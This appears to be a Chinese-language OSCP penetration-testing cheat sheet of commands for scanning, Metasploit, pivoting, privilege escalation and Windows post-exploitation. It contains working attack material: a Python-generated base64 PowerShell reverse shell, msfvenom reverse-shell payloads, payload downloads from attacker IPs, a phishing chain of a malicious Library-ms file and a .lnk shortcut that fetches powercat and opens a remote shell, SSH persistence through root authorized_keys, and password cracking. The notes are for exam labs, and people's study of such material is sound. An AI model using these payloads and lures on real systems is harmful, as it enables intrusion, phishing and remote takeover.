扫描命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 sudo nmap -sC -sS -p0-65535 sandbox.local sudo nmap -p22,80 -sV -A sandbox.local # 端口扫描,多跑几次 sudo nmap --min-rate 10000 -p- 192.168.220.118 sudo nmap -p22,80 -sV -A sandbox.local # 目录扫描 dirsearch -u http://192.168.212.89 -f -e php,txt,html,zip,rar,tar.gz,tar -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dirsearch -u http://192.168.237.80 -f -e php,txt,html,zip,rar,tar.gz,tar -w /usr/share/dirb/wordlists/common.txt gobuster dir -u http://192.168.178.80 -w /usr/share/wordlists/dirb/common.txt dirsearch -u http://172.16.33.62:7601/ -x 403 dirb http://10.0.2.5/cgi-bin /usr/share/wordlists/dirb/big.txt gobuster dir -u http://192.168.178.80 -x html,php,txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt # 扫描.zip文件 gobuster dir -u http://192.168.1.22 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .zip # Fuzz参数 ffuf -u 'http://192.168.179.80:80/console/file.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0 # dirsearch加上basic-auth认证的参数 dirsearch -u http://192.168.151.191/ -f -e php,txt,html,zip,rar,tar.gz,tar -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --auth dmzadmin:SlimGodhoodMope --auth-type basic
SSH后门 本地提权之后可以上传ssh公钥,保持长期访问权限
1 2 3 4 5 6 7 ssh -keygen cat ~/.ssh/id_rsa.pub mkdir /root/.ssh # 被控机器执行 echo "ssh-rsa AAAxxxxxxx...kali@kali" > /root/.ssh/authorized_keys SSH连接目标主机 ssh root@sandbox.local
MSF auxiliary是探测类型的模块
1 2 3 4 5 6 7 8 use 模块名 search 关键字 search type:auxiliary name:smb sessions 查看当前session session -i $id 进入指定的session run -j 后台运行 bg 把当前session放到后台 migrate $PID 进程迁移
除了基本 Payload,Metasploit还包含多种高级 Payload
1 2 3 4 5 6 7 Staged vs Non-Staged Payloads Non-Staged:不分阶段Payload 与EXP一起被完整地发送到目标系统 Staged:分阶段Payload通常分为两部分 第一部分较小,负责建立反弹连接,然后传输较大的第二部分Payload 并执行 当没有足够的缓存空间来存储完整的Payload 避免被AV软件发现,第一阶段不包含明显特征的恶意代码,利用其加载第二阶段代码到内存中执行
名称中的‘/’用来指示Payload是否分阶段
1 2 不分阶段:shell_reverse_tcp 分阶段:shell/reverse_tcp
Meterpreter Shell 1 2 search meterpreter type:payload set payload windows/meterpreter/reverse_http
上传下载时目标主机路径要加双\
1 2 upload /usr/share/windows-resources/binaries/nc.exe c:\\Users\\Offsec download c:\\Windows\\system32\\calc.exe /tmp/calc.exe
msfvenom
1 2 3 4 msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.12 LPORT=443 -f exe -o r.exe 然后kali开侦听 use exploit/multi/handler set payload windows/shell_reverse_tcp
OSCP考试中不能用msf作跳板
1 2 route add 内网网段 然后msf内部直接访问内网网段即可
除了手动添加内网路由穿透内网,也可以使用autoroute模块,自动利用已建立的Meterpreter会话穿透内网
1 2 3 4 msf5 exploit(multi/handler) > use multi/manage/autoroute msf5 post(multi/managelautoroute) > sessions -l msf5 post(multi/managelautoroute) > set session 4 msf5 post(multi/manage/autoroute) > exploit
结合路由和server/socks4a模块,配置socks4a代理,允许外部工具直接访问内网
1 2 3 msf5 post(multi/manage/autoroute) > use auxiliary/server/socks4a msf5 auxiliary(server/socks4a) > set SRVHOST 127.0.0.1 msf5 auxiliary(server/socks4a) > exploit -j
配置Proxychains ,挂代理访问内网
跨平台编译 1 2 3 4 5 6 7 8 9 10 11 12 sudo apt install mingw-w64 i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe #报错 i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32 编译32位C语言Windows程序 i686-w64-mingw32-gcc 编译64位C语言Windows程序 x86_64-w64-mingw32-gcc 编译32位C++语言Windows程序 i686-w64-mingw32-g++ 编译64位C++语言Windows程序 x86_64-w64-mingw32-g++
SMB Service 1 2 3 4 5 6 7 8 smbclient -L 192.168.222.11 # 匿名登录smb smbmap -H 192.168.222.11 smbclient //192.168.222.11/IPC$ # 匿名查看共享目录 遇到SMB服务一定记得试一下能不能put上传文件 enum4linux -a 192.168.0.109 # 枚举用户等各种信息,在拿不到用户名的时候可以尝试 检测SMB在指定机器上能否登录 crackmapexec smb 192.168.50.242 -u usernames.txt -p passwords.txt --continue-on-success
字符串加解密相关 1 2 ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++. 这种叫Brainfuck/Ook! decode
压缩包破解 1 2 zip2john tom.zip >> has1.txt john has1.txt #会输出压缩包密码
渗透常用命令 ssh指定密钥登录
echo写入webshell
1 echo '<?php xxx>' >> webshell.php.jpg # 单引号
对隐写的文件进行分析提取 -p是指定密码
1 steghide extract -sf test.jpg -p 123456
绕过restricted shell,一般就ssh加上-t “bash –noprofile”
1 https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/?source=post_page-----c9182b63a4de--------------------------------
shellshock不一定打/cgi-bin/的cgi文件,打/cgi-bin/test这种后缀不是cgi的都可以
curl命令进行POST方式上传文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # 第一个-F为指定本地上传的文件的路径,@符号必须要有,第二个-F为额外的自定义的参数,可以没有,大部分情况下得有,实际上就是POST传过去的数据 curl -X POST -F "file=@/home/xxx" -F filename="/tmp/test.txt" http://xxxx.xxx # 生成木马 msfvenom -p payload LPORT= LHOST= -f exe -o eee.exe # Windows下载文件 iwr -uri http://192.168.45.192/win_shell.exe -Outfile C:\Windows\Temp\shell.exe # 开启3389 REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f # 修改windows防火墙配置允许3389 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow # 新增Windows用户并设置为管理员 net user name password /add net localgroup administrators 用户名 /add # Kali开启ssh sudo systemctl start ssh # Windows访问目标机器共享文件夹 Win+R,然后\\目标IP # 内网主机发现(ping扫描) for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i > nul && echo 10.5.5.%i is up for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done # win下载文件 iwr -uri http://192.168.119.2/nonstaged.exe -Outfile nonstaged.exe # rdp xfreerdp /v:192.168.155.152 /u:student /p:lab
系统常用命令 Linux 查找指定名称的文件
1 2 #2>/dev/null是将错误信息重定向到垃圾回收系统 find / -name Settings.* 2>/dev/null #looking through the files
https://www.ddosi.org/oscp-cheat-sheet-2/
which在$PATH环境变量中搜索指定名称的文件
locate命令,通过搜索locate.db文件来定位目标文件
1 2 3 #使用updatedb命令可升级locate.db sudo updatedb locate sbd.exe
find 命令
1 2 3 4 5 6 7 8 9 10 11 12 #彻底搜索文件系统 #支持基于名称、时间、大小、所有者、文件类型、时间戮、权限等条件的搜索 #搜索最近 24 小时修改过的文件 find / -mtime 0 #搜索最近30分钟修改过的文件 find . -type f -iname '*.sh' -mmin -30 -ls #对搜索结果执行命令(删除) find . -name .svn -exec rm -rfo {} \; find . -name .svn | xargs rm -rf #搜索启用 SUID 权限的文件 find / -type f -perm -u=s -ls 2>/dev/null
查看系统中可用的服务
1 systemctl list-unit-files
rdp指定域名
1 xfreerdp /u:stephanie /d:corp.com /v:192.168.50.75
python生成Windows shellcode
1 2 3 4 5 6 7 8 import sysimport base64payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.192",5555);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16' )[2 :]).decode() print (cmd)
启动apache服务
msfconsole开启socks代理
1 2 3 4 5 6 7 8 use multi/manage/autoroute set session run use auxiliary/server/socks_proxy set SRVHOST 127.0.0.1 set VERSION 5 run -j 然后使用proxychains打内网
跨平台编译exe
1 x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
绕过limited shell
1 echo os.system("/bin/bash")
确定apache 根目录
1 2 3 检查 /opt/apache2/conf/httpd.conf 或 /opt/apache2/conf/apache2.conf 文件中的 DocumentRoot 指令。 检查 /opt/apache2/conf.d/ 或 /opt/apache2/sites-enabled/ 目录中的虚拟主机配置文件中的 DocumentRoot 指令。 通过这些步骤,你可以确定网站根目录的位置。
查看监听端口
批量检测rdp服务是否可以登录
1 netexec rdp ip.txt -u aaa -p bbb -d ccc.com
查找当前目录所有文件中是否有指定字符串
1 find . | xargs grep -ri "1qaz2wsx#EDC" -l
Windows 查看文件内容
查看所有文件(包括隐藏文件)
1 2 3 dir /a #查看所有文件及其属性 attrib *
/users目录中存放每个用户的个人目录,/users/public目录是共享目录,所有人都可以访问、写入,如果需要写入文件,可以在该目录下
/users/username/Appdata是一个隐藏文件夹,/users/username/Appdata/Roaming是在域环境下可能包含用户配置文件的目录
查看远程目标主机的系统信息(前提是被控机器有目标机器的登录权限,或者知道域的用户名和密码)
1 2 systeminfo /s $hostname systeminfo /s $hostname domain\user /P password
查看系统环境变量
搜索当前目录及子目录的文件(powershell)
1 2 3 4 5 6 dir /s $filename #/p表示循环输出,不一次性输出 dir /s *.exe /p tree /f > tree.txt然后搜索tree.txt #使用forfiles forfiles /p c:\windows /s /m notepad.exe /c "command you want to execute"
使用whoami查看用户SID,管理员是5000,用户从1001开始
1 2 3 4 5 6 7 8 PS C:\Users\J0ker> whoami /user 用户信息 ---------------- 用户名 SID ===================== ============================================= desktop-kfa4a5s\j0ker S-1-5-21-2231775247-161512554-3901611509-1001
查看当前用户权限,属于administrator组就有管理员权限
查看文件权限,(F)表示所有权限
查看运行的所有进程
查看网页源码
1 2 iwr看网页源码 PS C:\Tools> (iwr -UseDefaultCredentials http://web04).Content | findstr /i "OS{"
开启服务(Start-Service无法使用的时候)
powershell进cmd
删除共享
powershell脚本.ps1中执行exe
1 2 & C:\updatecollector\updatecollctor.exe &运算符用于调用程序,这里它尝试运行位于C:\updatecollector\路径下的updatecollctor.exe程序。
powershell -a 和powershell -c,下载和执行方式
1 powershell -c "iwr -uri http://192.168.45.192/test.txt -Outfile test.txt"
客户端攻击 webdav目录执行
1 /home/yu1e/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/yu1e/webdav/
powercat.ps1的目录下
webdav目录下放着powershell.lnk和body.txt和config.ms,开监听
发邮件(from参数的用户和登录邮件服务的用户最好一致)
1 sudo swaks -t jim@relia.com --from maildmz@relia.com --attach @config.Library-ms --server 192.168.202.189 --body body.txt --header "Subject: Staging Script" -ap
config.Library-ms内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 └─$ cat config.Library-ms <?xml version="1.0" encoding="UTF-8"?> <libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"> <name>@windows.storage.dll,-34582</name> <version>6</version> <isLibraryPinned>true</isLibraryPinned> <iconReference>imageres.dll,-1003</iconReference> <templateInfo> <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType> </templateInfo> <searchConnectorDescriptionList> <searchConnectorDescription> <isDefaultSaveLocation>true</isDefaultSaveLocation> <isSupported>false</isSupported> <simpleLocation> <url>http://192.168.45.167</url> </simpleLocation> </searchConnectorDescription> </searchConnectorDescriptionList> </libraryDescription>
powershell.lnk文件,新建快捷方式,指向
1 2 powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.3:8000/powercat.ps1'); powercat -c 192.168.119.3 -p 4444 -e powershell"
其他思路 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 记得扫目录中的子目录 现成的EXP不能用的话,记得看漏洞描述 弱口令试一下用户名和密码都是用户名,使用su切换用户 如果是固定的那种系统,可以搜默认账号密码,然后拿默认账号去爆破密码 一定记得看网页源码 有时候需要切换到普通用户,再拿root 文件包含可以读取passwd文件然后破解 进去有phpmyadmin的系统,找数据库配置文件,拿来密码复用 记得读取passwd文件然后破解 如果有文件上传,可以考虑上传一个txt之类的文件到.ssh/authorized_keys上去,然后登录(下面的例子实际上是上传之后用filename参数把上传之后的文件名改了) ssh-keygen sudo chmod 600 id_rsa sudo cp id_rsa.pub id_rsa.txt curl -i -L -X POST -F file="@/id_rsa.txt" -F filename=”/home/xxx/.ssh/authorized_keys” http://xxx sudo ssh -oHostKeyAlgorithms=+ssh-dss alfredo@192.168.185.249 -p 25022 -i /home/sinner/Documents/oscp/id_rsa 直接访问看不到的,curl有时候可以看到 文件上传可以考虑覆盖.ssh/authorized_keys 目录穿越试一下把/编码,就是%2F,或者改成\,就是%5C xfreerdp连不上的话机上/cert-ignore sudo ip l s dev tun0 mtu 1300(非必要) sudo proxychains xfreerdp /v:172.16.167.200 /u:luiza /timeout:60000 sudo proxychains xfreerdp /v:172.16.119.200 /u:luiza /cert-ignore /timeout:60000 读文件的时候如果能读到/home/daniela/.ssh/id_rsa就读出来,然后破解 ssh2john id_rsa > ssh.hash john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash ssh2john id_rsa > ssh.hash cat ssh.hash 看$sshng$x是$几 hashcat -h | grep -i "ssh" 找module hashcat -m 22921 ssh.hash ssh.passwords --force(不一定行) 如果发现了git,进web目录(不一定必要),然后查看日志git log,找到对应的日志编号 commit 612ff5783cc5dbd1e0e008523dba83374a84aaf1, 然后运行git show 612ff5783cc5dbd1e0e008523dba83374a84aaf1 目录穿越文件任意读,读passwd,然后读ssh key ssh-key包括的种类id_ed25519 id_ecdsa id_dsa id_rsa 有时候可以查看监听的端口来发现只对本地开放的端口和服务 文件包含漏洞往上层目录穿越,不仅仅是绝对路径 linpeas关注可写目录 看到?参数试一下文件包含 服务看不到不等于没有,可能是没权限看 上pspy看进程,或许有口令 有的普通用户也能进root Windows提权添加用户的时候密码选复杂点的 记得密码喷洒 查看Web框架是Apache 2.4.49,找到路径穿越的洞 .php不行,把后缀改为pHP 查看用户的history文件
工具 内网扫描
1 2 https://github.com/elddy/NimScan https://github.com/sh1yan/Lscan
工具网站
1 2 3 4 cyberchef https://gtfobins.github.io https://book.hacktricks.xyz/ https://www.hackingarticles.in/msfvenom-cheatsheet-windows-exploitation/